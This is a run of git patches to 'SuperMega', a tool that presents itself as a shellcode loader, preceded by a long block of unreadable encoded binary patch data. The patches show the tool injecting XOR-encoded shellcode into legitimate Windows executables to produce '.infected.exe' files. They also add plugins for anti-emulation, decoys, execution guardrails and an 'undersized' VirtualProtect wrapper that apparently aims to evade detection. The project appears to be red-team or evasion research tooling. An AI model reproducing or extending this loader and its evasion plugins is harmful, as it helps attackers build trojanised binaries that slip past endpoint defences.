zP>Ysh;tw7?D8$c}#4nj*H;pLn(iPv*6jiGOdR?@@g!ulF-h+bN(~D{&$&nhz8uHdw z%dMLu+T&mM`@5HImKecVYfG-zcjls2WLhm@x# zfO{tkk8^mylV{MokTf3$C?8H@tTPpxq0G?Ld6akS<$p)zT`2G4wxUtm9?o)g%K_!- z98jCo*aGE!P=b6^h|gh?O_2MQXLp<8~Zn<~`G|18LvZrMB=jk(k#D)-m77_%~z z;YbN`lg%#3l5LJ4Z?FmQ1@BtfyBDo8Wiy`JFe{p09)UCL&MlwGoQV3JsVB^OWhbiG zJ-upwf^(xlDaHsj&+zfe4{nFiF^4iABU65bIaBuLG8Qk|2RXwq`e3VL(7ELo%1Ld8 zj%t3Ddx!o;Hz0=$*oJkpUq~$F-3e!5q7HK-qk)pV2ip@rQ<*4Quq-vjhuBt-kr&vtNFTMaNb9TK?X>wXewZ4vU z*r`ffT+NK#Gt%STBh7ZEq$1S(6lx>Z=BM>k>srWltB0~3$H{uRmu9aW6X0~M^sMY1 zUB5J0e64&@{y>n=(-!5F7qBGVa-aO3Knr4I(lOtj(=Whg%(HW`zTl5J22|^c=8D9C5gG4>(lW3*;}V`-EOMN7;p-GjxNp8azVac3qrRo*K$gegI~VN$Zg6 zAdr`0;UJJdtGAbKD-OL)sTftdPFbrnIZ7Ldp|fM^E6X8Kmf&Fsjk&`@4$!$F*$R!# z_ZbBz?7!2>Q3N-Hi>dL;rq~oM9tiRwLGDwnyKpejl36Od;bwhT2Cy*@kDV|XTk{>% z)yDda)`*l3XTOLzO9MLH1DW#1MOCHXrtH;J;aFpwuNwU6mox%rVvpPDkZ?kgzSsq^wPYu}MlEMu)R76ObM-t*In;1!}$VqTi6V9@`s*FP zAhM}eACAiB9T<4AF$H zuI<#T7WX?hlb!Fw+H?&ZyUl&owmK^=H^2r8@T&EnXrMe?%2WIRtDK{x(Dm~gs{G#nJ>1^Cj4nyohoXypCsF1w*0Xo2vmDPZu>u^h= zv1hB+N#urjZ>})^qsVD}SJGY_UspRHla+KXj;*V8c8$9Guz0C&Jw!Cp{Y8uQ`Hqxh zz_P1a?x~gsT^m2~2gO>~#^InO2CC%))$*`oK)cUccGXNgjA-xLc>X>y7)z}9L(Rk^ ziA5LX&k~KF$Ce9m^XquSQj3Ncs1~7*`w6{nbud<$$~G~nq_R0XgGtjX!vxc~J)eD! z%MriMChRrg7$rXomfbzkf@+ythcNGo_nWE{Tma-y4rD$MHI4z7e7;6LRwEyA#lOhe zAi9#S9I_o&$)CU=*b9STj-~rwCPXKqkqk6ajJmjpZMdNeF_R^QOElOIPzN=1^)4F< zs^<@HxL)_fdt(c66#g8q)o)=+FefLz=;OMIyen;&-AlIx-y=dVb3b6AufCMjlmfvcx~7w&WWAw%&QY7H#3mTm$O; z{fT&gZXf3YNqZ~7Edb^Ew1<~g#QXU^t^_O=7Ye=&YA>`7!|chRt8X8GJy&2LBX0gc ztX%70-@JXX>CicI9h_tSJ)TbJ9Z%eR5+t+-0Yf=Z7yx1EKJ~5WB*D@>T!^AKA#uUO z*GKOkY0Bx6-*w6Rgr3v+MJnFN<0o?x+}{?Wsf`0A@Ro4lh;Y04ds^G(wE#@W+KEE^ zzf(8F=s zs}?Q8bf`s5+HJ|qjdQRbQkEa}$UTr_Y5cED zO{KcoOJ?f0$-wOfzGmQ{fu{_-WZ+bz{#FCm8u+MDey_pX4NNR?YchZu}F+Yy{kojVW^$2Y4^5;10paSiqJkm>HrE&FKlH~QR(ds!V?0y}|81L0hU*z@i=T0B*hY`K6%bt-At|Dw-VTWN~ zzJY}X@&=X|NUf#6AtO++2ILkTel3X9l+tCBK-2k62V>V&WoF2iQg}q!!K=#f$>C3$ zsQJu}%#K3zRRP)!B-ukS?f~)$isPwc*`1~+}L?tqiD z@7T6BZM}EEj@c+r%WQW0h;6#8oiSejrd;Ny@6fippw6&1*&JY*-R^5$jnCKEA-Tj? z)#G)p$_0|m882H#GUqs1t)?f8muY%+<79Q3-qP_hO|N;JtU=SG-8yPZgQgdTjLzcp zw|R!SY=J#GZ(AD*NNvQ^dfY#vXM6nd$6Homc&wz@Xfq=DY_%?}ANx4jGOeFEV`UAx zo^zZ`*ApPyY(oF-`nUb`ZyRNz&eLxkb!4CJ^Ky_Z{|7 zX$*Q@nqKYqg$_XaH-`>8#)C^`*{W!iikXvMzrY*6HBjfx5Np3F*bs@4njzahD${Ht z`G1y7StgdXP`|ZKvF0+XG=W)La+tLun_0`JoUmgJ!dzB@&*sk|)83$T2{ebro90cp zy=Rwa)J@6DVtEz0EU!L0Om(xMy8wDCkq;SlD?mq(PZ|85gMM;MIq^@8DW5Pcn@y{* zuxXL0Ckn#XH&eTC2m43p{1|uFOW+AL8|pLaOqOhB!5AzUgQa|8*fhb!CagkvZWhap zWQ8-EGwg=Fc9S`anJe;`xjwsY0{P-LOo!3_3x$joA$HjDjfc>bVPYBZv#B7L6|^8X zG&k9 z!1^LNy;o4ah+w*VtHm9+!{ zY{3G1mBBlm57)R{&ZWyBtQaqJ)wq_}oi-a3fX=VfaMdg{%3FgYt$x=fP@AIyhu~ro z;v-qL1A8N#%CINed93j7)cFXK1$p13K)xJlsx z=3A|oAMQsxkI7HV&QvZL7(Ig1#5y*WIbXVhms}!h!pb%8iQyS zhtw&qF{rz=rKa5{hDrTiZSai!lv^xHUs+t9ai1tv#Uc@mv@R0z;R4O}a}98*Kj@Xj zw1~ZwSsOK&P~=|GOSaZU#3(r^ob_-_jI6H{BdwuGn>XmgC@@M)uj9+D*S4^`$4DF2 zL_}{3ge)%;mMmT$mBh9NILH;n07RnLmdsjAvpzwK-B=a^s<0ifs9IbVTfJJ0q%C=% zrvAYicY4j;Lu|sEBL|I_w^SRY9syXLUEVQJN-tX5gI!-PHWQt zfBcVnfXA8l5Hj7>I)HzLTnBmwaM+L&X5)^~KzBUgX5{U3w*%7uVa|dkJcoP}&e&m~ ztpH~!Xu=D~GeKVj`f+Km0384pPDQ_SOW=?=FIHW1SNjc7u;gAq+g_oV{p z6AH)@=&v`Kw0A$aqGNnNboYTB*O22!TPC24?#(|KUrFQcSVmfy0W;j;oj0Y#e7u4;pq+FxT!2&FGh+g1hE^JpL#tt^g3 zg7c!jHDa4LTH5CKMMBX~t5oU>waxQJ+sf9?D&`TW{jE4_myGR=n);I9uxP$G?-I>3$aA(QR_MII&*X-)pwRu Date: Mon, 17 Jun 2024 10:09:56 +0200 Subject: [PATCH 18/37] fix: put infected exe into project dir (not exe dir) --- app/views_project.py | 10 ++++------ supermega.py | 4 ++++ 2 files changed, 8 insertions(+), 6 deletions(-) diff --git a/app/views_project.py b/app/views_project.py index 53d2fe7..f246f7d 100644 --- a/app/views_project.py +++ b/app/views_project.py @@ -191,7 +191,10 @@ def add_project(): settings.dllfunc = request.form['dllfunc'] settings.inject_exe_in = request.form['exe'] - settings.inject_exe_out = request.form['exe'].replace(".exe", ".infected.exe") + settings.inject_exe_out = "{}{}".format( + settings.main_dir, + os.path.basename(settings.inject_exe_in).replace(".exe", ".infected.exe") + ) settings.fix_missing_iat = True if request.form.get('fix_missing_iat') != None else False @@ -200,11 +203,6 @@ def add_project(): settings.plugin_antiemulation = request.form['antiemulation'] settings.plugin_decoy = request.form['decoy'] settings.plugin_guardrail = request.form['guardrail'] - logger.info("E: {} D: {} G: {}".format( - settings.plugin_antiemulation, - settings.plugin_decoy, - settings.plugin_guardrail - )) carrier_invoke_style = request.form['carrier_invoke_style'] settings.carrier_invoke_style = CarrierInvokeStyle[carrier_invoke_style] diff --git a/supermega.py b/supermega.py index 82487a4..eb1fd46 100644 --- a/supermega.py +++ b/supermega.py @@ -84,6 +84,10 @@ def main(): logger.info("Could not find: {}".format(args.inject)) return settings.inject_exe_in = args.inject + settings.inject_exe_out = "{}{}".format( + settings.main_dir, + os.path.basename(args.inject).replace(".exe", ".injected.exe") + ) settings.inject_exe_out = args.inject.replace(".exe", ".infected.exe").replace(".dll", ".infected.dll") write_webproject("default", settings) From 0d320b38d0f5705882d98ade9374b2a6f984d021 Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Mon, 17 Jun 2024 10:33:34 +0200 Subject: [PATCH 19/37] refactor: attempt to simplify payload --- model/payload.py | 2 -- phases/injector.py | 5 +++-- supermega.py | 11 +++++------ 3 files changed, 8 insertions(+), 10 deletions(-) diff --git a/model/payload.py b/model/payload.py index a8d7f76..d4252f4 100644 --- a/model/payload.py +++ b/model/payload.py @@ -10,12 +10,10 @@ class Payload(): def __init__(self, filepath: FilePath): self.payload_path: FilePath = filepath self.payload_data: bytes = b"" - self.len: int = 0 def init(self): logging.info("--( Load payload: {}".format(self.payload_path)) with open(self.payload_path, 'rb') as f: self.payload_data = f.read() - self.len = len(self.payload_data) diff --git a/phases/injector.py b/phases/injector.py index 2902d1c..b3cbc8f 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -13,11 +13,12 @@ from model.project import Project from model.settings import Settings from pe.asmdisasm import * from model.defs import * +from model.payload import Payload logger = logging.getLogger("Injector") -def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, project: Project): +def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: Payload): exe_in = settings.inject_exe_in exe_out = settings.inject_exe_out carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style @@ -93,7 +94,7 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, project: P # Aligning the payload (not carrier!) to page size is important for dll_loader_change if settings.carrier_name == "dll_loader_change": # align shellcode_rva minus an offset to page size - shellcode_rva = align_to_page_size(shellcode_rva, shellcode_len - project.payload.len) + shellcode_rva = align_to_page_size(shellcode_rva, shellcode_len - len(payload.payload_data)) shellcode_offset = superpe.pe.get_offset_from_rva(shellcode_rva) logger.info("---( Inject: Write Shellcode to offset:0x{:X} (rva:0x{:X})".format( diff --git a/supermega.py b/supermega.py index eb1fd46..03ebb81 100644 --- a/supermega.py +++ b/supermega.py @@ -158,14 +158,13 @@ def start_real(settings: Settings): # FIXUP DLL Payload # Prepare DLL payload for usage in dll_loader_change - # This needs to be done before rendering the C templates, as the need - # the size of the payload + # This needs to be done before rendering the C templates, as need + # the real size of the payload if project.settings.carrier_name == "dll_loader_change": project.payload.payload_data = preload_dll(project.payload.payload_path) - project.payload.len = len(project.payload.payload_data) # CREATE: Carrier C source files from template (C->C) - phases.templater.create_c_from_template(settings, project.payload.len) + phases.templater.create_c_from_template(settings, len(project.payload.payload_data)) # If we put the payload into .rdata # PREPARE DataReuseEntry for usage in Compiler/AsmTextParser @@ -211,11 +210,11 @@ def start_real(settings: Settings): #observer.add_code_file("full_shc", full_shellcode) else: # shellcode is in .rdata, so we dont need to merge - # This is handle before, e.g. encoding. + # Encoding is handled before this full_shellcode = carrier_shellcode # inject (merged) loader into an exe. Big task. - phases.injector.inject_exe(full_shellcode, settings, project.carrier, project) + phases.injector.inject_exe(full_shellcode, settings, project.carrier, project.payload) #observer.add_code_file("exe_final", extract_code_from_exe_file_ep(settings.inject_exe_out, 300)) # Check binary with avred From 51095614182299d7aa5f5a56e6633a4eeecacb5a Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Mon, 17 Jun 2024 11:00:45 +0200 Subject: [PATCH 20/37] feature: check for deps on start --- supermega.py | 3 ++- utils.py | 15 +++++++++++++++ web.py | 4 ++++ 3 files changed, 21 insertions(+), 1 deletion(-) diff --git a/supermega.py b/supermega.py index 03ebb81..ef55985 100644 --- a/supermega.py +++ b/supermega.py @@ -1,4 +1,3 @@ -import shutil import argparse from typing import Dict import os @@ -19,12 +18,14 @@ from model.settings import Settings from model.defs import * from log import setup_logging from model.carrier import DataReuseEntry +from utils import check_deps def main(): """Argument parsing for when called from command line""" logger.info("Super Mega") config.load() + check_deps() settings = Settings() parser = argparse.ArgumentParser(description='SuperMega shellcode loader') diff --git a/utils.py b/utils.py index ce3ad07..6d0edbb 100644 --- a/utils.py +++ b/utils.py @@ -3,6 +3,7 @@ import os import pathlib import glob import logging +import shutil from config import config from model.defs import * @@ -10,6 +11,20 @@ from model.defs import * logger = logging.getLogger("Utils") +def check_deps(): + cl = config.get("path_cl") + if shutil.which(cl) == None: + logger.error("Missing dependency: " + cl) + logger.error("Start in x64 Native Tools Command Prompt for VS 2022") + exit(1) + + ml = config.get("path_ml64") + if shutil.which(ml) == None: + logger.error("Missing dependency: " + ml) + logger.error("Start in x64 Native Tools Command Prompt for VS 2022") + exit(1) + + def delete_all_files_in_directory(directory_path): files = glob.glob(os.path.join(directory_path, '*')) for file_path in files: diff --git a/web.py b/web.py index 4fbdd9d..eb7774c 100644 --- a/web.py +++ b/web.py @@ -9,10 +9,14 @@ from app.views import views from app.views_project import views_project from app.views_shcdev import views_shcdev from log import setup_logging +from utils import check_deps + if __name__ == "__main__": logging.getLogger('werkzeug').setLevel(logging.ERROR) setup_logging() + check_deps() + parser = argparse.ArgumentParser() parser.add_argument('--listenip', type=str, help='IP to listen on', default="0.0.0.0") parser.add_argument('--listenport', type=int, help='Port to listen on', default=5001) From f84fd984165cfa62503d5c3d3b1265d88ff49786 Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Tue, 18 Jun 2024 15:25:37 +0200 Subject: [PATCH 21/37] feature: ui new project usable defaults --- app/views_project.py | 30 ++++++++++++++++-------------- model/settings.py | 16 ++++++++++++++++ 2 files changed, 32 insertions(+), 14 deletions(-) diff --git a/app/views_project.py b/app/views_project.py index f246f7d..61f1962 100644 --- a/app/views_project.py +++ b/app/views_project.py @@ -173,6 +173,18 @@ def add_project(): # new project? if storage.get_project(project_name) == None: + # Default values for web create + settings.init_payload_injectable( + "messagebox.bin", + "data/binary/exes/procexp64.exe", + "" + ) + settings.decoder_style = DecoderStyle.XOR_2 + settings.carrier_name = "alloc_rw_rx" + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr + settings.payload_location = PayloadLocation.CODE + settings.fix_missing_iat = True + # add new project project = WebProject(project_name, settings) project.comment = comment @@ -180,20 +192,10 @@ def add_project(): # update project else: - settings.payload_path = PATH_SHELLCODES + request.form['shellcode'] - if request.form['shellcode'] == "createfile.bin": - settings.verify = True - settings.try_start_final_infected_exe = False - else: - settings.cleanup_files_on_exit = False - - if 'dllfunc' in request.form: - settings.dllfunc = request.form['dllfunc'] - - settings.inject_exe_in = request.form['exe'] - settings.inject_exe_out = "{}{}".format( - settings.main_dir, - os.path.basename(settings.inject_exe_in).replace(".exe", ".infected.exe") + settings.init_payload_injectable( + request.form['shellcode'], + request.form['exe'], + request.form.get('dllfunc', "") ) settings.fix_missing_iat = True if request.form.get('fix_missing_iat') != None else False diff --git a/model/settings.py b/model/settings.py index 507e644..3bd9355 100644 --- a/model/settings.py +++ b/model/settings.py @@ -46,3 +46,19 @@ class Settings(): self.main_shc_path = self.main_dir + "main.bin" self.inject_exe_out = "{}{}".format( self.main_dir, os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe")) + + def init_payload_injectable(self, shellcode, injectable, dll_func): + self.payload_path = PATH_SHELLCODES + shellcode + if shellcode == "createfile.bin": + self.verify = True + self.try_start_final_infected_exe = False + else: + self.cleanup_files_on_exit = False + + self.inject_exe_in = injectable + self.inject_exe_out = "{}{}".format( + self.main_dir, + os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe") + ) + + self.dllfunc = dll_func \ No newline at end of file From ae3567847c06a54e02d06df7c3eadb2e2e193cd9 Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Tue, 18 Jun 2024 16:05:37 +0200 Subject: [PATCH 22/37] feature: guardrail data --- app/templates/project.html | 14 ++++++++++++++ app/views_project.py | 2 ++ data/source/guardrails/env.c | 2 +- model/settings.py | 1 + phases/templater.py | 3 +++ 5 files changed, 21 insertions(+), 1 deletion(-) diff --git a/app/templates/project.html b/app/templates/project.html index fc0d4c6..755cca4 100644 --- a/app/templates/project.html +++ b/app/templates/project.html @@ -239,6 +239,20 @@
+ {% if project.settings.plugin_guardrail != "none" %} +
+ +
+ +
+
+ {% endif %} +
+ +
+ +
+ +
+
diff --git a/app/views_project.py b/app/views_project.py index 2b1bcca..6d26acc 100644 --- a/app/views_project.py +++ b/app/views_project.py @@ -105,6 +105,7 @@ def project(name): guardrail_styles = list_files(PATH_GUARDRAILS) antiemulation_styles = list_files(PATH_ANTIEMULATION) decoy_styles = list_files(PATH_DECOY) + virtualprotect_styles = list_files(PATH_VIRTUALPROTECT) return render_template('project.html', project_name = name, @@ -136,6 +137,7 @@ def project(name): guardrailstyles = guardrail_styles, antiemulationstyles = antiemulation_styles, decoystyles = decoy_styles, + virtualprotectstyles = virtualprotect_styles ) @@ -216,6 +218,7 @@ def add_project(): settings.payload_location = PayloadLocation[payload_location] settings.plugin_guardrail_data = request.form.get('guardrail_data', '') + settings.plugin_virtualprotect = request.form.get('virtualprotect') # overwrite project project = storage.get_project(project_name) diff --git a/data/source/carrier/alloc_rw_rx/template.c b/data/source/carrier/alloc_rw_rx/template.c index 29f343c..5f328eb 100644 --- a/data/source/carrier/alloc_rw_rx/template.c +++ b/data/source/carrier/alloc_rw_rx/template.c @@ -15,6 +15,7 @@ char *supermega_payload; {{plugin_executionguardrail}} +{{plugin_virtualprotect}} /* VirtualAlloc -> rw -> rx @@ -49,7 +50,7 @@ int main() // to: dest[] {{ plugin_decoder }} - if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) { + if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) { return 7; } diff --git a/data/source/carrier/change_rw_rx/template.c b/data/source/carrier/change_rw_rx/template.c index 99c2544..ce69c29 100644 --- a/data/source/carrier/change_rw_rx/template.c +++ b/data/source/carrier/change_rw_rx/template.c @@ -39,13 +39,13 @@ int main() // Call: Decoy plugin decoy(); - if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RW, &result) == 0) { + if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RW, &result) == 0) { return 16; } {{ plugin_decoder }} - if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) { + if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) { return 16; } diff --git a/data/source/carrier/dll_loader_alloc/template.c b/data/source/carrier/dll_loader_alloc/template.c index 98523a1..4a2b8e5 100644 --- a/data/source/carrier/dll_loader_alloc/template.c +++ b/data/source/carrier/dll_loader_alloc/template.c @@ -166,7 +166,7 @@ int main() // Call: Decoy plugin decoy(); - dest = VirtualAlloc(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE); + dest = MyVirtualProtect(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE); // FROM supermega_payload[] // TO dest[] diff --git a/data/source/carrier/dll_loader_change/template.c b/data/source/carrier/dll_loader_change/template.c index 59a9c6b..e6d71a1 100644 --- a/data/source/carrier/dll_loader_change/template.c +++ b/data/source/carrier/dll_loader_change/template.c @@ -201,7 +201,7 @@ int main() // Call: Decoy plugin decoy(); - VirtualProtect((LPVOID)dest, {{PAYLOAD_LEN}}, PAGE_EXECUTE_READWRITE, &oldProtect); + MyVirtualProtect((LPVOID)dest, {{PAYLOAD_LEN}}, PAGE_EXECUTE_READWRITE, &oldProtect); // FROM supermega_payload[] // TO dest[] diff --git a/data/source/carrier/peb_walk/template.c b/data/source/carrier/peb_walk/template.c index 08e275a..6ccfa4c 100644 --- a/data/source/carrier/peb_walk/template.c +++ b/data/source/carrier/peb_walk/template.c @@ -5,7 +5,7 @@ char *supermega_payload; /* peb_walk - Standard shellcode which will resolve IAT by itself with a peb walk + Test shellcode which will resolve IAT by itself with a peb walk no IAT reuse is performed no data reuse is performed */ diff --git a/data/source/virtualprotect/standard.c b/data/source/virtualprotect/standard.c new file mode 100644 index 0000000..09602ce --- /dev/null +++ b/data/source/virtualprotect/standard.c @@ -0,0 +1,9 @@ + +BOOL MyVirtualProtect( + LPVOID lpAddress, + SIZE_T dwSize, + DWORD flNewProtect, + PDWORD lpflOldprotect +) { + return VirtualProtect(lpAddress, dwSize, flNewProtect, lpflOldprotect); +} diff --git a/data/source/virtualprotect/undersized.c b/data/source/virtualprotect/undersized.c new file mode 100644 index 0000000..b50f8bf --- /dev/null +++ b/data/source/virtualprotect/undersized.c @@ -0,0 +1,19 @@ + +// How many bytes we VirtualProtect +#define VP_SIZE 16 + +BOOL MyVirtualProtect( + LPVOID lpAddress, + SIZE_T dwSize, + DWORD flNewProtect, + PDWORD lpflOldprotect +) { + char *dest = (char *)lpAddress; + + for(int n=0; n<(dwSize/4096)+1; n++) { + if (VirtualProtect(dest + (n * 4096), VP_SIZE, flNewProtect, lpflOldprotect) == 0) { + return FALSE; + } + } + return TRUE; +} diff --git a/model/defs.py b/model/defs.py index daba564..ca04df4 100644 --- a/model/defs.py +++ b/model/defs.py @@ -18,6 +18,7 @@ PATH_DECODER = "data/source/decoder/" PATH_ANTIEMULATION = "data/source/antiemulation/" PATH_DECOY = "data/source/decoy/" PATH_GUARDRAILS = "data/source/guardrails/" +PATH_VIRTUALPROTECT = "data/source/virtualprotect/" PATH_WEB_PROJECT = "projects/" diff --git a/model/settings.py b/model/settings.py index e715f20..e54e0f2 100644 --- a/model/settings.py +++ b/model/settings.py @@ -18,6 +18,8 @@ class Settings(): self.plugin_decoy = "none" self.plugin_guardrail = "none" self.plugin_guardrail_data = "C:\\Users\\" + self.plugin_virtualprotect = "standard" + self.plugin_virtualprotect_data = "" self.dllfunc: str = "" # For DLL injection diff --git a/phases/templater.py b/phases/templater.py index 0231138..f8173e9 100644 --- a/phases/templater.py +++ b/phases/templater.py @@ -27,6 +27,15 @@ def create_c_from_template(settings: Settings, payload_len: int): PATH_DECODER, settings.main_c_path)) plugin_decoder = "" + # Plugin: VirtualAlloc + filepath_virtualprotect = PATH_VIRTUALPROTECT + "{}.c".format( + settings.plugin_virtualprotect) + with open(filepath_virtualprotect, "r", encoding='utf-8') as file: + plugin_virtualprotect = file.read() + plugin_virtualprotect = Template(plugin_virtualprotect).render({ + 'virtualprotect_data': settings.plugin_virtualprotect_data, + }) + # Plugin: Execution Guardrails filepath_guardrails = PATH_GUARDRAILS + "{}.c".format( settings.plugin_guardrail) @@ -75,6 +84,7 @@ def create_c_from_template(settings: Settings, payload_len: int): 'plugin_decoy': plugin_decoy, 'plugin_executionguardrail': plugin_guardrails, 'PAYLOAD_LEN': payload_len, + 'plugin_virtualprotect': plugin_virtualprotect, }) with open(settings.main_c_path, "w", encoding='utf-8') as file: file.write(rendered_template) From 68d1e1a535c21230c4c676c89d711b3212f01b79 Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Tue, 25 Jun 2024 07:54:51 +0200 Subject: [PATCH 36/37] fix: bug --- phases/assembler.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/phases/assembler.py b/phases/assembler.py index a34e55b..29b46cf 100644 --- a/phases/assembler.py +++ b/phases/assembler.py @@ -27,18 +27,18 @@ def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes: def encode_payload(payload: bytes, decoder_style: DecoderStyle) -> bytes: if decoder_style == DecoderStyle.PLAIN_1: - return payload + return bytes(payload) elif decoder_style == DecoderStyle.XOR_1: xor_key = config.xor_key logger.info("---[ XOR payload with key 0x{:X}".format(xor_key)) xored = bytes([byte ^ xor_key for byte in payload]) - return xored + return bytes(xored) elif decoder_style == DecoderStyle.XOR_2: xor_key = config.xor_key2 logger.info("---[ XOR2 payload with key {}".format(xor_key)) xored = bytearray(payload) for i in range(len(xored)): xored[i] ^= xor_key[i % 2] - return xored + return bytes(xored) else: raise Exception("Unknown decoder style") From 185c8fadb7f692c7d1afc158cc7dcfbc935ce25b Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Tue, 25 Jun 2024 09:41:14 +0200 Subject: [PATCH 37/37] refactor: remove DecoderStyles enum --- app/templates/project.html | 6 +++--- app/views_project.py | 16 +++++----------- data/source/carrier/dll_loader_alloc/template.c | 1 + data/source/carrier/dll_loader_change/template.c | 1 + model/defs.py | 7 ------- model/settings.py | 2 +- phases/assembler.py | 8 ++++---- phases/injector.py | 1 - phases/templater.py | 2 +- supermega.py | 11 +++-------- 10 files changed, 19 insertions(+), 36 deletions(-) diff --git a/app/templates/project.html b/app/templates/project.html index e499656..7c29071 100644 --- a/app/templates/project.html +++ b/app/templates/project.html @@ -212,10 +212,10 @@
diff --git a/app/views_project.py b/app/views_project.py index 6d26acc..8aa3fdb 100644 --- a/app/views_project.py +++ b/app/views_project.py @@ -98,7 +98,6 @@ def project(name): shellcodes = list_files_and_sizes(PATH_SHELLCODES) carrier_names = get_template_names() - decoderstyles = [(color.name, color.value) for color in DecoderStyle] carrier_invoke_styles = [(color.name, color.value) for color in CarrierInvokeStyle] payload_locations = [(color.name, color.value) for color in PayloadLocation] @@ -106,6 +105,8 @@ def project(name): antiemulation_styles = list_files(PATH_ANTIEMULATION) decoy_styles = list_files(PATH_DECOY) virtualprotect_styles = list_files(PATH_VIRTUALPROTECT) + decoder_styles = list_files(PATH_DECODER) + return render_template('project.html', project_name = name, @@ -116,7 +117,7 @@ def project(name): exes=exes, shellcodes=shellcodes, carrier_names=carrier_names, - decoderstyles=decoderstyles, + decoder_styles=decoder_styles, carrier_invoke_styles=carrier_invoke_styles, payload_locations=payload_locations, exports=exports, @@ -181,7 +182,7 @@ def add_project(): "data/binary/exes/procexp64.exe", "" ) - settings.decoder_style = DecoderStyle.XOR_2 + settings.decoder_style = "xor_2" settings.carrier_name = "alloc_rw_rx" settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr settings.payload_location = PayloadLocation.CODE @@ -201,22 +202,15 @@ def add_project(): ) settings.fix_missing_iat = True if request.form.get('fix_missing_iat') != None else False - settings.carrier_name = request.form['carrier_name'] - settings.plugin_antiemulation = request.form['antiemulation'] settings.plugin_decoy = request.form['decoy'] settings.plugin_guardrail = request.form['guardrail'] - carrier_invoke_style = request.form['carrier_invoke_style'] settings.carrier_invoke_style = CarrierInvokeStyle[carrier_invoke_style] - - decoder_style = request.form['decoder_style'] - settings.decoder_style = DecoderStyle[decoder_style] - + settings.decoder_style = request.form['decoder_style'] payload_location = request.form['payload_location'] settings.payload_location = PayloadLocation[payload_location] - settings.plugin_guardrail_data = request.form.get('guardrail_data', '') settings.plugin_virtualprotect = request.form.get('virtualprotect') diff --git a/data/source/carrier/dll_loader_alloc/template.c b/data/source/carrier/dll_loader_alloc/template.c index 4a2b8e5..055c371 100644 --- a/data/source/carrier/dll_loader_alloc/template.c +++ b/data/source/carrier/dll_loader_alloc/template.c @@ -150,6 +150,7 @@ DWORD_PTR load_dll(LPVOID dllBytes, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { {{plugin_executionguardrail}} +{{plugin_virtualprotect}} int main() { diff --git a/data/source/carrier/dll_loader_change/template.c b/data/source/carrier/dll_loader_change/template.c index e6d71a1..af0fad2 100644 --- a/data/source/carrier/dll_loader_change/template.c +++ b/data/source/carrier/dll_loader_change/template.c @@ -184,6 +184,7 @@ DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { {{plugin_executionguardrail}} +{{plugin_virtualprotect}} int main() { diff --git a/model/defs.py b/model/defs.py index ca04df4..44f3af7 100644 --- a/model/defs.py +++ b/model/defs.py @@ -23,13 +23,6 @@ PATH_VIRTUALPROTECT = "data/source/virtualprotect/" PATH_WEB_PROJECT = "projects/" -# Correlated with real template files -# in data/plugins/ -class DecoderStyle(Enum): - PLAIN_1 = "plain_1" - XOR_1 = "xor_1" - XOR_2 = "xor_2" - class PayloadLocation(Enum): CODE = ".text" diff --git a/model/settings.py b/model/settings.py index e54e0f2..6203313 100644 --- a/model/settings.py +++ b/model/settings.py @@ -11,7 +11,7 @@ class Settings(): # Settings self.carrier_name: str = "" - self.decoder_style: DecoderStyle = DecoderStyle.XOR_1 + self.decoder_style: str = "xor_2" self.short_call_patching: bool = False self.plugin_antiemulation = "none" diff --git a/phases/assembler.py b/phases/assembler.py index 29b46cf..3471a4d 100644 --- a/phases/assembler.py +++ b/phases/assembler.py @@ -25,15 +25,15 @@ def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes: return code -def encode_payload(payload: bytes, decoder_style: DecoderStyle) -> bytes: - if decoder_style == DecoderStyle.PLAIN_1: +def encode_payload(payload: bytes, decoder_style: str) -> bytes: + if decoder_style == "plain": return bytes(payload) - elif decoder_style == DecoderStyle.XOR_1: + elif decoder_style == "xor_1": xor_key = config.xor_key logger.info("---[ XOR payload with key 0x{:X}".format(xor_key)) xored = bytes([byte ^ xor_key for byte in payload]) return bytes(xored) - elif decoder_style == DecoderStyle.XOR_2: + elif decoder_style == "xor_2": xor_key = config.xor_key2 logger.info("---[ XOR2 payload with key {}".format(xor_key)) xored = bytearray(payload) diff --git a/phases/injector.py b/phases/injector.py index b5c282e..3f54408 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -83,7 +83,6 @@ class Injector(): # Patch IAT (if necessary and wanted) self.injectable_patch_iat() - # DEL BOTH carrier_shc_len = len(self.carrier_shc) carrier_offset: int = 0 # file offset diff --git a/phases/templater.py b/phases/templater.py index f8173e9..312fab8 100644 --- a/phases/templater.py +++ b/phases/templater.py @@ -47,7 +47,7 @@ def create_c_from_template(settings: Settings, payload_len: int): # Plugin: Decoder filepath_decoder = PATH_DECODER + "{}.c".format( - settings.decoder_style.value) + settings.decoder_style) with open(filepath_decoder, "r", encoding='utf-8') as file: plugin_decoder = file.read() plugin_decoder = Template(plugin_decoder).render({ diff --git a/supermega.py b/supermega.py index 127f8b0..67aad9f 100644 